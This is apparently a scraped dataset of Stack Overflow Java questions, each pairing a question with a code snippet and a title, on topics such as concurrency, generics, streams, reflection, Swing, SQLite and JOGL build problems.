java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedNanos ( AbstractQueuedSynchronizer.java:1037 ) java.util.concurrent.locks.LockSupport.parkNanos ( LockSupport.java:215 ) public static final String EXPERIENCE_ID_STATEMENT = `` Select id `` + `` from read as exp `` + `` where id is not missing `` + `` and docType = 'experience ' `` + `` and venueId = $ venueId `` + `` and exp.rule.poiIds is not missing `` + `` and any poi in exp.rule.poiIds satisfies poi = $ poiId end '' ;",N1QL Query times out when Using parameterized IN clause +Java,"I 'm working GnuPG Java API to encrypt/decrypt files . Googled and found a Java Wrapper GnuPG for Java , Java wrapper for GPGME ( GnuPG Made Easy , C language library ) . Official website also referring this as the Java wrapper . So followed the instructions , set up ant and tried to run ant clean release it is throwing errors.But maven build working and jar file also generated.Following error occured while running ant . Update I changed the Java home in GNUmakefile , Now it is throwing different error . Seems c library not found and this API is written for Unix system seems by reading the error message . What C library missing ? Can anyone help me to solve this issue ? Where I 'm making mistake ?","C : \Users\user\Desktop\MFT\gnupg-for-java-master > ant clean releaseBuildfile : C : \Users\user\Desktop\MFT\gnupg-for-java-master\build.xmlclean-native : [ exec ] rm -f GnuPGContext.o GnuPGData.o GnuPGGenkeyResult.o GnuPGKey.o GnuPGSignature.o gpgmeutils.o *~ [ exec ] rm -f C : \Users\user\Desktop\MFT\gnupg-for-java-master\build/gnupg-for-java.dll [ exec ] rm -f com_freiheit_gnupg_GnuPGContext.h com_freiheit_gnupg_GnuPGData.h com_freiheit_gnupg_GnuPGGenkeyResult.h com_freiheit_gnupg_GnuPGKey.h com_freiheit_gnupg_GnuPGSignature.hclean : [ delete ] Deleting directory C : \Users\user\Desktop\MFT\gnupg-for-java-master\build\classesprepare : compile-java : [ mkdir ] Created dir : C : \Users\user\Desktop\MFT\gnupg-for-java-master\build\classes [ javac ] C : \Users\user\Desktop\MFT\gnupg-for-java-master\build.xml:21 : warning : 'includeantruntime ' was not set , defaulting to build.sysclasspath=last ; set to false for repeatable builds [ javac ] Compiling 8 source files to C : \Users\user\Desktop\MFT\gnupg-for-java-master\build\classesgen-jni-headers : prepare : compile-java : [ javac ] C : \Users\user\Desktop\MFT\gnupg-for-java-master\build.xml:21 : warning : 'includeantruntime ' was not set , defaulting to build.sysclasspath=last ; set to false for repeatable buildsgenerate-jni-headers : [ exec ] C : \Program Files ( x86 ) /Java/jdk1.7.0_51/bin/javah -classpath C : \Users\user\Desktop\MFT\gnupg-for-java-master\build\classes -jni com.freiheit.gnupg.GnuPGContext com.freiheit.gnupg.GnuPGData com.freiheit.gnupg.GnuPGGenkeyResult com.freiheit.gnupg.GnuPGKey com.freiheit.gnupg.GnuPGSignature [ exec ] /bin/sh : -c : line 0 : syntax error near unexpected token ` ( ' [ exec ] /bin/sh : -c : line 0 : ` C : \Program Files ( x86 ) /Java/jdk1.7.0_51/bin/javah -classpath C : \Users\user\Desktop\MFT\gnupg-for-java-master\build\classes -jni com.freiheit.gnupg.GnuPGContext com.freiheit.gnupg.GnuPGData com.freiheit.gnupg.GnuPGGenkeyResult com.freiheit.gnupg.GnuPGKey com.freiheit.gnupg.GnuPGSignature ' [ exec ] make : *** [ com_freiheit_gnupg_GnuPGContext.h ] Error 2BUILD FAILEDC : \Users\user\Desktop\MFT\gnupg-for-java-master\build.xml:71 : The following error occurred while executing this line : C : \Users\user\Desktop\MFT\gnupg-for-java-master\build.xml:63 : exec returned : 2Total time : 4 seconds generate-jni-headers : [ exec ] C : \Java\jdk1.7.0_75/bin/javah -classpath C : \Users\user\Desktop\MFT\gnupg-for-java-master\build\classes -jni com.freiheit.gnupg.GnuPGContext com.freiheit.gnupg.GnuPGData com.freiheit.gnupg.GnuPGGenkeyResult com.freiheit.gnupg.GnuPGKey com.freiheit.gnupg.GnuPGSignaturegen-jni-library : recompile-c-code : [ exec ] mingw32-gcc -g -Werror -Wall -Wno-deprecated-declarations -fPIC -mms-bitfields -Wl , -- add-stdcall-alias -D_REENTRANT -D_THREAD_SAFE -D_FILE_OFFSET_BITS=64 -DLARGEFILE_SOURCE=1 -I '' C : \Java\jdk1.7.0_75/include '' -I '' C : \Java\jdk1.7.0_75/include/win32 '' -I '' C : \Program Files ( x86 ) /GNU/GnuPG/include '' -c GnuPGContext.c [ exec ] /bin/sh : mingw32-gcc : command not found [ exec ] make : *** [ GnuPGContext.o ] Error 127BUILD FAILEDC : \Users\user\Desktop\MFT\gnupg-for-java-master\build.xml:82 : The following error occurred while executing this line : C : \Users\user\Desktop\MFT\gnupg-for-java-master\build.xml:75 : exec returned : 2Total time : 7 seconds",GnuPG for Java library ant build issue/bug +Java,"I have a java app and a python launcher for it . The java app locks a file to avoid multiple startups using this code : The python launcher tries to lock on the same file with fcntl and it can . Two java processes ca n't do this and neither two python processes can lock exclusively on the same file . But a java and a python can , in any directions.I 'm on a xubuntu with openjdk 6 and python2.7 I use portalocker for python.Also work fine on win7 .","java.nio.channels.FileLock lock = lockWrapper.getChannel ( ) .tryLock ( ) ; if ( lock == null ) { logger.info ( `` Anotheris already running '' ) ; } lock.release ( ) ; staticLock = lockWrapper.getChannel ( ) .lock ( ) ; lockfile =open ( lockfilename , ' w+ ' ) portalocker.lock ( lockfile , portalocker.LOCK_EX| portalocker.LOCK_NB )",Java and python processes can exclusive lock the same file on linux +Java,How do I replace the Supplier code here with lambda expressionThe output of above piece of code is :,IntStream inStream = Stream.generate ( new Supplier < Integer > ( ) { int x= 1 ; @ Override public Integer get ( ) { return x++ ; } } ) .limit ( 10 ) .mapToInt ( t - > t.intValue ( ) ) ; inStream.forEach ( System.out : :println ) ; 12345678910,Lambda expression for supplier to generate IntStream +Java,"In my contrived example , what are the implications for thread safety with regard to the list of teamMembers ? Can I rely on the state of the list as seen by the run ( ) method to be consistent ? Assumingthe setATeamMembers method is called only once , by spring when it is creating the ATeamEpisode beanthe init method is called by spring ( init-method ) after # 1 the ATeamMember class is immutableDo I need to declare the teamMembers volatile or similar ? Are there any other hideous problems with this approach that I'moverlooking ? Apologies if this is obvious , or a clear failure to rtfmThanks and regards Ed","package aTeam ; import java.util.ArrayList ; import java.util.List ; import java.util.Random ; public class ATeamEpisode implements Runnable { private List < ATeamMember > teamMembers ; /* DI by spring */ public void setATeamMembers ( List < ATeamMember > teamMembers ) { this.teamMembers = new ArrayList < ATeamMember > ( teamMembers ) ; } private Thread skirmishThread ; public synchronized void init ( ) { System.out.println ( `` Starting skirmish '' ) ; destroy ( ) ; ( skirmishThread = new Thread ( this , '' SkirmishThread '' ) ) .start ( ) ; } public synchronized void destroy ( ) { if ( skirmishThread ! = null ) { skirmishThread.interrupt ( ) ; skirmishThread=null ; } } private void firesWildlyIntoTheAir ( ATeamMember teamMember ) { System.out.println ( teamMember.getName ( ) + '' sprays the sky.. '' ) ; } @ Override public void run ( ) { try { Random rnd = new Random ( ) ; while ( ! Thread.interrupted ( ) ) { firesWildlyIntoTheAir ( teamMembers.get ( rnd.nextInt ( teamMembers.size ( ) ) ) ) ; Thread.sleep ( 1000 * rnd.nextInt ( 5 ) ) ; } } catch ( InterruptedException e ) { System.out.println ( `` End of skirmish '' ) ; /* edit as per Adam 's suggestion */ // Thread.currentThread ( ) .interrupt ( ) ; } } }",Thread safety implications of Spring DI +Java,"The following program prints respectively 'false ' and 'true ' : So it will not be a Long but a Double . However , it works as intended on normal classes : Havingthis will print 'true ' : meaning that it is not working the same like the above example.I 'm sure that there is something related to autoboxing , but is it really the way it should work ? Why she uses boxing , when the Number class is a superclass of both Long and Double , so that expression could be evaluated to Number ? It 's really a pain , because when printing the n , it prints as a double value . ( I know it is easy to workaround , but drove me crazy )",Number n = true ? new Long ( 1 ) : new Double ( 2.0 ) ; System.out.println ( n instanceof Long ) ; System.out.println ( n instanceof Double ) ; class B { } class D1 extends B { } class D2 extends B { } B b = true ? new D1 ( ) : new D2 ( ) ; System.out.println ( b instanceof D1 ) ;,Unwanted autoboxing magic on Numbers +Java,"I have a difference of how the date 1st Jan 0001 UTC is represented in Java and in JavascriptIn Java : In JavaScript : Why the date , 1 Jan 0001 UTC , that is represented by the time -62135769600000L in Java , is not represented as 1st of January when displayed in Javascript ?","TimeZone utcTimeZone = TimeZone.getTimeZone ( `` UTC '' ) ; Calendar cal = Calendar.getInstance ( utcTimeZone ) ; cal.clear ( ) ; //1st Jan 0001cal.set ( 1 , 0 , 1 ) ; Date date = cal.getTime ( ) ; System.out.println ( date ) ; //Sat Jan 01 00:00:00 GMT 1System.out.println ( date.getTime ( ) ) ; // -62135769600000 var date = new Date ( ) ; date.setTime ( -62135769600000 ) ; date.toUTCString ( ) ; // '' Sat , 30 Dec 0 00:00:00 GMT ''",Difference between Java and Javascript on 1st Jan 0001 UTC +Java,I was trying to take a string and then returns a string with the numbers 1 to 10 replaced with the word for those numbers . For example : I won 7 of the 10 games and received 30 dollars.should become : I won seven of the ten games and received 30 dollars.So I did this : And the result is this : I won seven of the one0 games and received three0 dollars.So I tried a brute force way which I 'm sure could be improved with regular expressions or more elegant string manipulation : Is n't there a better way ? Especially interested in regex suggestions .,"import org.apache.commons.lang3.StringUtils ; String [ ] numbers = new String [ ] { `` 1 '' , `` 2 '' , `` 3 '' , '' 4 '' , '' 5 '' , '' 6 '' , '' 7 '' , '' 8 '' , '' 9 '' , '' 10 '' } ; String [ ] words = new String [ ] { `` one '' , `` two '' , `` three '' , '' four '' , '' five '' , '' six '' , `` seven '' , '' eight '' , '' nine '' , '' ten '' } ; System.out.print ( StringUtils.replaceEach ( phrase , numbers , words ) ) ; public class StringReplace { public static void main ( String [ ] args ) { String phrase = `` I won 7 of the 10 games and received 30 dollars . `` ; String [ ] sentenceWords = phrase.split ( `` `` ) ; StringBuilder sb = new StringBuilder ( ) ; for ( String s : sentenceWords ) { if ( isNumeric ( s ) ) { sb.append ( switchOutText ( s ) ) ; } else { sb.append ( s ) ; } sb.append ( `` `` ) ; } System.out.print ( sb.toString ( ) ) ; } public static String switchOutText ( String s ) { if ( s.equals ( `` 1 '' ) ) return `` one '' ; else if ( s.equals ( `` 2 '' ) ) return `` two '' ; else if ( s.equals ( `` 3 '' ) ) return `` three '' ; else if ( s.equals ( `` 4 '' ) ) return `` four '' ; else if ( s.equals ( `` 5 '' ) ) return `` fivee '' ; else if ( s.equals ( `` 6 '' ) ) return `` six '' ; else if ( s.equals ( `` 7 '' ) ) return `` seven '' ; else if ( s.equals ( `` 8 '' ) ) return `` eight '' ; else if ( s.equals ( `` 9 '' ) ) return `` nine '' ; else if ( s.equals ( `` 10 '' ) ) return `` ten '' ; else return s ; } public static boolean isNumeric ( String s ) { try { int i = Integer.parseInt ( s ) ; } catch ( NumberFormatException nfe ) { return false ; } return true ; } }","Replace decimals 1 to 10 with name ( `` one '' , `` two '' .. )" +Java,"With reference to Why does HTML think “ chucknorris ” is a color ? Is the following analysis correct ? First , all non-hex characters are replaced with ' 0'.testing - > 0e00000Then if it is not divisible by 3 , append ' 0 's to it.0e00000 - > 0e0000000Then split into 3 equal groups.0e0000000 - > 0e0 000 000Then get the first 2 characters of each group and concatenate them together to get your colour code.0e0 000 000 - > 0e0000 # 0e0000 is close to black.But if you use this site and input font colour as `` testing '' , it is displayed as a shade of red : http : //www.w3schools.com/tags/tryit.asp ? filename=tryhtml_font_colorIs there something I 'm missing ? APPENDED AFTER ANSWERS : I 'm writing an Android app which needs me to parse font color = `` '' to colour codes . I 'm putting the algorithm I cobbled together here for future reference :","public String getColourCode ( String nonStandardColour ) { String rtnVal = `` # 000000 '' ; // first replace all non-hex characters String converted = nonStandardColour.toLowerCase ( ) .replaceAll ( `` [ g-z ] '' , `` 0 '' ) ; System.out.println ( nonStandardColour + `` is now `` + converted ) ; System.out.println ( `` Length : `` + converted.length ( ) ) ; if ( converted.length ( ) < = 3 ) { // append `` 0 '' s if length ! = 3 while ( converted.length ( ) ! =3 ) { converted = converted + `` 0 '' ; } System.out.println ( `` Converted colour is now `` + converted ) ; // Length is 3 , so split into 3 characters and prepend 0 to each String [ ] colourArray = new String [ 3 ] ; colourArray [ 0 ] = `` 0 '' + convertedOpNickColour.substring ( 0 , 1 ) ; colourArray [ 1 ] = `` 0 '' + convertedOpNickColour.substring ( 1 , 2 ) ; colourArray [ 2 ] = `` 0 '' + convertedOpNickColour.substring ( 2 , 3 ) ; rtnVal = `` # '' + Integer.toHexString ( Color.rgb ( Integer.parseInt ( colourArray [ 0 ] , 16 ) , Integer.parseInt ( colourArray [ 1 ] , 16 ) , Integer.parseInt ( colourArray [ 2 ] , 16 ) ) ) ; } else { // converted.length ( ) is > = 4 System.out.println ( `` Appending 0s until divisible by 3 '' ) ; while ( converted.length ( ) % 3 ! = 0 ) { converted = converted + `` 0 '' ; } System.out.println ( `` Converted colour is now `` + converted ) ; // divide into 3 equal groups List < String > colourArray2 = new ArrayList < String > ( ) ; int index = 0 ; while ( index < converted.length ( ) ) { colourArray2.add ( converted.substring ( index , Math.min ( index ( converted.length ( ) /3 ) , converted.length ( ) ) ) ) ; index+= ( converted.length ( ) /3 ) ; } System.out.printf ( `` The 3 groups are : '' ) ; System.out.printf ( colourArray2.get ( 0 ) ) ; System.out.printf ( colourArray2.get ( 1 ) ) ; System.out.printf ( colourArray2.get ( 2 ) ) ; // if the groups are e.g . 0f0 0f0 0f0 if ( rgbColour.get ( 0 ) .length ( ) > =3 ) { rtnVal = Integer.toHexString ( Color.rgb ( Integer.parseInt ( colourArray2.get ( 0 ) .substring ( 0,2 ) , 16 ) , Integer.parseInt ( colourArray2.get ( 1 ) .substring ( 0,2 ) , 16 ) , Integer.parseInt ( colourArray2.get ( 2 ) .substring ( 0,2 ) , 16 ) ) ) ; // remove alpha System.out.println ( `` rtnVal is # '' + rtnVal.substring ( 2 ) ) ; return `` # '' + rtnVal.substring ( 2 ) ; } // groups are e.g . 0f 0f 0f else { rtnVal = Integer.toHexString ( Color.rgb ( Integer.parseInt ( colourArray2.get ( 0 ) , 16 ) , Integer.parseInt ( colourArray2.get ( 1 ) , 16 ) , Integer.parseInt ( colourArray2.get ( 2 ) , 16 ) ) ) ; System.out.println ( `` rtnVal is # '' + rtnVal.substring ( 2 ) ) ; return `` # '' + rtnVal.substring ( 2 ) ; } } return rtnVal ; }",How does HTML parse < font color= '' testing '' > ? +Java,"I have a simple function for loading the class `` Myclass '' from the selected directory.Let us assume I have the following class : But when I want to call the method `` myMethod '' I get the : I am asuming that the problems comes from the fact that the `` MyOtherClass '' is not public ( It can not be , since it is in the same file than `` MyClass '' ) .How can I fix this ?",// Variables File temp = new File ( `` some path ... '' ) ; String class_name = `` MyClass '' ; // Directory url URL [ ] urls = null ; try { urls = new URL [ ] { temp.toURI ( ) .toURL ( ) } ; } catch ( MalformedURLException e ) { e.printStackTrace ( ) ; } // Loading the class ClassLoader cl = new URLClassLoader ( urls ) ; Class clazz = null ; Object clazz_instance = null ; try { // Loads class clazz = cl.loadClass ( class_name ) ; // Creates instance clazz_instance = clazz.newInstance ( ) ; // Invoking method `` myMethod '' try { Method m = clazz.getMethod ( `` myMethod '' ) ; m.invoke ( clazz_instance ) ; } catch ( NoSuchMethodException | InvocationTargetException | IllegalAccessException | NullPointerException e ) { e.printStackTrace ( ) ; } } catch ( NoClassDefFoundError | ClassNotFoundException | InstantiationException | IllegalAccessException e ) { e.printStackTrace ( ) ; } public class MyClass { public void myMethod ( ) { MyOtherClass moc = new MyOtherClass ( ) ; // ... ... some code } } class MyOtherClass { } java.lang.reflect.InvocationTargetExceptionCaused by : java.lang.IllegalAccessError : tried to access class `` MyOtherClass '' from class `` MyClass '',Java - Invoking a method causes IllegalAccessError +Java,I have an application that starts a timer to splash a message on user actions . In JDK profiler it seems that all other threads are being removed after execution by GC ( I guess ) but the timers a created is not being removed . What could be happening there ? my timer : JDK profiler : Is it because I am using a static method or should I destroy it myself ?,"/** * @ param owner * @ param added */public static void splashParentWithAnimation ( AnchorPane owner , Parent added , double posX , double posY ) { // addParentWithAnimation ( owner , added ) ; owner.getChildren ( ) .add ( added ) ; AnchorPane.setLeftAnchor ( added , posX ) ; AnchorPane.setTopAnchor ( added , posY ) ; FadeTransition ft1 = new FadeTransition ( Duration.millis ( 300 ) , added ) ; ft1.setFromValue ( 0.0 ) ; ft1.setToValue ( 1.0 ) ; ft1.play ( ) ; Timer messagePrinter = new Timer ( ) ; messagePrinter.schedule ( new TimerTask ( ) { @ Override public void run ( ) { Platform.runLater ( ( ) - > { if ( ! owner.getChildren ( ) .contains ( added ) ) return ; FadeTransition ft1 = new FadeTransition ( Duration.millis ( 300 ) , added ) ; ft1.setFromValue ( 1.0 ) ; ft1.setToValue ( 0.0 ) ; ft1.play ( ) ; ft1.setOnFinished ( ( e ) - > { if ( owner.getChildren ( ) .contains ( added ) ) owner.getChildren ( ) .remove ( added ) ; } ) ; } ) ; } } , 1000 ) ; }",Java - Timer is not being removed after execution +Java,"I 'm using the stream spliterator directly for the low-level operations in the library I 'm writing . Recently I discovered very weird behavior when I take the stream spliterator and interleave tryAdvance/trySplit calls . Here 's a simple code which demonstrates the problem : The output isAs you can see , after flat-mapping I should get the ordered stream of consecutive numbers from 1 to 9 . I split the spliterator once , so it should jump to some intermediate location . Next I consume an element from it and split it one more time . After that I print all the remaining elements . I expect that I will have several consecutive elements from the stream tail ( probably zero elements , it would also be fine ) . However what I get is 5 and 6 , then sudden jump to 9.I know that currently in JDK spliterators are not used this way : they always split before the traversal . However official documentation does not explicitly forbid to call the trySplit after tryAdvance.The problem was never observed when I use spliterator created directly from collection , array , generated source , etc . It 's observed only if the spliterator was created from the parallel stream which had the intermediate flatMap.So the question is : did I hit the bug or it 's explicitly forbidden somewhere to use the spliterator in this way ?","import java.util.Arrays ; import java.util.Spliterator ; public class SpliteratorBug { public static void main ( String [ ] args ) { Integer [ ] [ ] input = { { 1 } , { 2 , 3 } , { 4 , 5 , 6 } , { 7 , 8 } , { 9 } } ; Spliterator < Integer > spliterator = Arrays.stream ( input ) .parallel ( ) .flatMap ( Arrays : :stream ) .spliterator ( ) ; spliterator.trySplit ( ) ; spliterator.tryAdvance ( s - > { } ) ; spliterator.trySplit ( ) ; spliterator.forEachRemaining ( System.out : :println ) ; } } 569",Strange behavior of Stream.spliterator for parallel streams +Java,"I want to identify the loop or recursion in the list for the below structure of the node . How can I identify the same ? Example , Here , you can see that Node6 is pointing to Node4 , and here there comes the looping or recursion and my code will go into infinite . So what if I want to find out this type of scenario with the optimum performance level ?",public class EntityNode { private EntityNode nextNode ; // Points to the next node } Node1 - > Node2 - > Node3 - > Node4 - > Node5 - > Node6 - > Node4,Identify loop or recursion in the list +Java,I have a Set of Currencies as Set < String > and RequiredCurrency as Set < String > . I have to check if any of required currency is present in currency set or not . I have written BiPredicate for that as below and trying to use the same in anyMatch ( ) . But it is not working for me . How can i achieve it .I am unable to pass the requestCurrencyCode in checkIfCurrencyPresent.test ( currencyValues ) .,"Set < String > currencyValues = currencies.getCurrencies ( ) .values ( ) .stream ( ) .map ( currencyEntity - > { return currencyEntity.getNameOfSymbol ( ) ; } ) .collect ( Collectors.toSet ( ) ) ; Set < String > requestCurrencyCodes = globalPricingRequests.stream ( ) .map ( globalPricingRequest - > { return globalPricingRequest.getCurrencyISOCode ( ) ; } ) .collect ( Collectors.toSet ( ) ) ; BiPredicate < Set < String > , String > checkIfCurrencyPresent = Set : :contains ; boolean isCurrencyCodeValid = requestCurrencyCodes.stream ( ) .anyMatch ( checkIfCurrencyPresent.test ( currencyValues ) ) ;",How to use BiPredicate with anyMatch ( ) +Java,"How do you insert variables into an SQL Query ? This is what I have so far ... I 'm trying to get `` amount '' bugs to list . So if I input 2 , then only the top 2 will get listed .","public String getBugList ( int amount ) { Connection con = DatabaseConnection.getConnection ( ) ; try ( PreparedStatement ps = con.prepareStatement ( `` SELECT submitter , report FROM bugs_log ORDER BY id DESC limit ) ) }",Inserting variable into SQL query from Java +Java,"Consider the `` double-check idiom for lazy initialization of instance fields '' : I want to be able to reset the field in a safe way ( force it to load again from the database , in my case ) . I assume that we could do this by having a reset method : Is this the standard way of doing resetting the field ? Is it safe ? Any pitfalls ? I 'm asking because Bloch gave the following warning about double-checked lazy-loading : `` The idiom is very fast but also complicated and delicate , so do n't be tempted to modify it in any way . Just copy and paste -- normally not a good idea , but appropriate here . `` Thanks in advance , Playa from the Himalayas .",// Item 71 in Effective Java copied from this interview with Bloch.private volatile FieldType field ; FieldType getField ( ) { FieldType result = field ; if ( result == null ) { // First check ( no locking ) synchronized ( this ) { result = field ; if ( result == null ) // Second check ( with locking ) field = result = computeFieldValue ( ) ; } } return result ; } void reset ( ) { field = null ; },Resetting a field lazy-loaded with the double-check idiom +Java,Prior to Java 8 the code for CAS in AtomicLong class was : But now it has been changed to single intrinsic line : What advantage this code has over the former ? How does this new code work ?,"public final long incrementAndGet ( ) { for ( ; ; ) { long current = get ( ) ; long next = current + 1 ; if ( compareAndSet ( current , next ) ) return next ; } } public final long incrementAndGet ( ) { return unsafe.getAndAddLong ( this , valueOffset , 1L ) + 1L ; }",How CAS related changes in AtomicLong class in Java 8 work ? +Java,"When I run this , I expect that the ori and the tail should exchange . But they do n't . Can someone help me ?","import java.awt . * ; import java.awt.event . * ; import javax.swing . * ; public class Cards extends JFrame { private GridLayout grid1 ; JButton [ ] bt=new JButton [ 52 ] ; ImageIcon tail=new ImageIcon ( getClass ( ) .getResource ( `` b1fv.png '' ) ) ; ImageIcon ori ; public Cards ( ) { grid1=new GridLayout ( 7,9,2,2 ) ; setLayout ( grid1 ) ; for ( int i=0 ; i < bt.length ; i++ ) { ImageIcon c=new ImageIcon ( getClass ( ) .getResource ( i+1+ '' .png '' ) ) ; bt [ i ] =new JButton ( c ) ; bt [ i ] .addActionListener ( new RatingMouseListener ( i ) ) ; add ( bt [ i ] ) ; } } public static void main ( String [ ] args ) { Cards frame=new Cards ( ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setSize ( 1400,700 ) ; frame.setVisible ( true ) ; } private class RatingMouseListener implements ActionListener { private int index=0 ; public RatingMouseListener ( int index ) { this.index = index ; } public void actionPerformed ( ActionEvent e ) { System.out.println ( `` Mouse entered for rating `` + index ) ; ori=new ImageIcon ( getClass ( ) .getResource ( index+1+ '' .png '' ) ) ; if ( bt [ index ] .getIcon ( ) ==ori ) bt [ index ] .setIcon ( tail ) ; else bt [ index ] .setIcon ( ori ) ; } } }",The method about ImageIcons does not work +Java,"The List interface has two methods listIterator ( ) and iterator ( ) . why both of these are needed.From the docs : so basically , ListIterator ( ) has this additional methods to get previous and next elements while Iterator ( ) has only next elements . Is this only for this purpose , there is another ListIterator ( ) interface and listiterator ( ) method in List inteface","Iterator < E > iterator ( ) Returns an iterator over the elements in this list in proper sequence.ListIterator < E > listIterator ( ) Returns a list iterator over the elements in this list ( in proper sequence ) . ListIterator < E > listIterator ( int index ) Returns a list iterator over the elements in this list ( in proper sequence ) , starting at the specified position in the list . The specified index indicates the first element that would be returned by an initial call to next . An initial call to previous would return the element with the specified index minus one .",what is the need to have listIterator ( ) and iterator ( ) in the list interface in Java ? +Java,"The following code compiles with Java 8 but not with Java 9 : This is the error : I 've narrowed it down to the type parameter < T > of myMethod ; if I drop it and use Object for the parameter type the code compiles . Declaring myMethod as static < T > void myMethod ( ) { } fails as well ( in 9 only ) even though I 'm not using the type parameter.I 've checked the Java 9 release notes and searched for an explanation for this behaviour but did not find anything . Am I correct to assume this is a bug in JDK9 , or am I missing something ?",public class CompileErrJdk9 { @ FunctionalInterface public interface Closure < R > { R apply ( ) ; } @ FunctionalInterface public interface VoidClosure { void apply ( ) ; } static < R > R call ( Closure < R > closure ) { return closure.apply ( ) ; } static void call ( VoidClosure closure ) { call ( ( ) - > { closure.apply ( ) ; return null ; } ) ; } static < T > void myMethod ( T data ) { System.out.println ( data ) ; } public static void main ( String [ ] args ) { call ( ( ) - > myMethod ( `` hello '' ) ) ; //compile error in jdk9 } } CompileErrJdk9.java:24 : error : incompatible types : inference variable R has incompatible bounds call ( ( ) - > myMethod ( `` hello '' ) ) ; //compile error in jdk9 ^ upper bounds : Object lower bounds : void where R is a type-variable : R extends Object declared in method < R > call ( Closure < R > ) 1 error,"Lambda causes compile error `` incompatible types '' in Java 9 , compiles in Java 8" +Java,"In my opinion it should work , but it does not . Why ? Source code : Very simple code . Compiler error : method f in class JavaApplication1 can not be applied to give types ; required : Map < Person , List < ? extends Dog > found : Map < Person , List < Dog > > reason : actual arguments Map < Person , List < Dog > > can not be converted to Map < Person , List < ? extends Dog > by method invocation conversion . Map < Person , List < ? extends Dog > is more general , so the compiler should be able to convert ? Also this : Map < Person , List < ? extends Dog > > peopleDogList = A. < Person , List < Dog > > map ( ) ; does not work . ? extends Dog means object that inherits Dog or Dog , so word Dog should be ok ?","package javaapplication1 ; import java.util . * ; class A { public static < K , V > Map < K , V > map ( ) { return new HashMap < K , V > ( ) ; } } class Person { } class Dog { } public class JavaApplication1 { static void f ( Map < Person , List < ? extends Dog > > peopleDogList ) { } public static void main ( String [ ] args ) { f ( A. < Person , List < Dog > > map ( ) ) ; } }","Java , generics does not work" +Java,"I 've got to calculate Math.sin ( x ) using the Taylor Series : n ∑ ( -1 ) ^i* ( x^ ( 2i+1 ) / ( 2i+1 ) ! ) for n → ∞ i=0Therefore , I am only allowed to use loops ( no recursion ) and I may not use the Math class . This is how far I 've come : However , I think my break condition is n't quite correct ( -1*10^-7 or 1*10^-7 ) , the returned result is NaN . I 've already looked it up , but I am kinda overchallenged right now , so I 'm hoping someone can help me with this . : ) Thanks in advance !",public double sinLoops ( double x ) { int potenz1 ; double potenz2 = x ; double fac = 1 ; double result = 0 ; do { if ( ( i % 2 ) == 0 ) { potenz1 = 1 ; } else { potenz1 = ( -1 ) ; } for ( int counter = 1 ; counter < ( 2 * i + 1 ) ; counter++ ) { potenz2 *= x ; } for ( int counter2 = ( 2 * i + 1 ) ; counter2 > = 1 ; counter2 -- ) { fac *= counter2 ; } result += potenz1 * potenz2 / fac ; i++ ; } while ( result > 0.0000001 || result < -0.0000001 ) ; return result ; },Calculating sin ( x ) w/oMath and using loops only in java +Java,Let 's assume we have 2 classes : Create an array in main function : How can it be ? ? Because xArr refers to Y [ ] object and for my understanding it can not create an X object .,class X { } class Y extends X { } Y [ ] yArr = new Y [ 3 ] // created Y 's class objects arrayX [ ] xArr = yArr ; xArr [ 0 ] = new X ( ) // VALID . WHY ?,Why instance of superclass can be put into array of subclass ? +Java,"Yesterday the application was working normally , and i did n't edit my codes . But now its not working.the logcat is",close ( ) was never explicitly called on database '/data/data/ [ myproject ] /databases/MyDB ' android.database.sqlite.DatabaseObjectNotClosedException : Application did not close the cursor or database object that was opened hereat android.database.sqlite.SQLiteDatabase. < init > ( SQLiteDatabase.java:1943 ) at android.database.sqlite.SQLiteDatabase.openDatabase ( SQLiteDatabase.java:1007 ) at android.database.sqlite.SQLiteDatabase.openDatabase ( SQLiteDatabase.java:986 ) at android.database.sqlite.SQLiteDatabase.openOrCreateDatabase ( SQLiteDatabase.java:1051 ) at android.app.ContextImpl.openOrCreateDatabase ( ContextImpl.java:770 ) at android.content.ContextWrapper.openOrCreateDatabase ( ContextWrapper.java:221 ) at android.database.sqlite.SQLiteOpenHelper.getWritableDatabase ( SQLiteOpenHelper.java:157 ) at mn.emondo.parliament.DBAdapter.open ( DBAdapter.java:46 ) at mn.emondo.parliament.ProfileActivity.onCreate ( ProfileActivity.java:46 ) at android.app.Activity.performCreate ( Activity.java:4465 ) at android.app.Instrumentation.callActivityOnCreate ( Instrumentation.java:1049 ) at android.app.ActivityThread.performLaunchActivity ( ActivityThread.java:1920 ) at android.app.ActivityThread.handleLaunchActivity ( ActivityThread.java:1981 ) at android.app.ActivityThread.access $ 600 ( ActivityThread.java:123 ) at android.app.ActivityThread $ H.handleMessage ( ActivityThread.java:1147 ) at android.os.Handler.dispatchMessage ( Handler.java:99 ) at android.os.Looper.loop ( Looper.java:137 ) at android.app.ActivityThread.main ( ActivityThread.java:4424 ) at java.lang.reflect.Method.invokeNative ( Native Method ) at java.lang.reflect.Method.invoke ( Method.java:511 ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:784 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:551 ) at dalvik.system.NativeStart.main ( Native Method ),application stopped in Android /SQLITE ERROR/ +Java,"I tried to add JOGL to my project , and after a long time searching the web I found the solution . I added the jars to my buildpath and Eclipse recognizes them.I wanted to test it , so took the code from here : https : //sites.google.com/site/justinscsstuff/jogl-tutorial-2 and compiled.The AWT-way gives me this result : I ca n't find others with the same problem . I did find others with the same error , but not with the same cause.The NEWT-way gives me a white square , which 'does n't respond ' and I have to force-stop it ( Apple-key + alt + esc ) .My cursor changes into a waiting-cursor . Although it 's nice designed I 'd rather get rid of it.How should I solve this ? I 'm using Eclipse on a Mac . OS 10.6.8.EDIT : Thanks to Clint the first two lines are gone , but it 's still leaking ... EDIT 2 : Solved it !",2012-06-03 18:20:44.623 java [ 1481:903 ] [ Java CocoaComponent compatibility mode ] : Enabled2012-06-03 18:20:44.626 java [ 1481:903 ] [ Java CocoaComponent compatibility mode ] : Setting timeout for SWT to 0.1000002012-06-03 18:20:46.253 java [ 1481:903 ] *** __NSAutoreleaseNoPool ( ) : Object 0x102034900 of class NSConcreteMapTableValueEnumerator autoreleased with no pool in place - just leaking2012-06-03 18:20:46.259 java [ 1481:903 ] *** __NSAutoreleaseNoPool ( ) : Object 0x10209e3f0 of class __NSCFDate autoreleased with no pool in place - just leaking2012-06-03 18:20:46.259 java [ 1481:903 ] *** __NSAutoreleaseNoPool ( ) : Object 0x10209cbd0 of class NSCFTimer autoreleased with no pool in place - just leaking2012-06-03 18:20:46.301 java [ 1481 : d703 ] *** 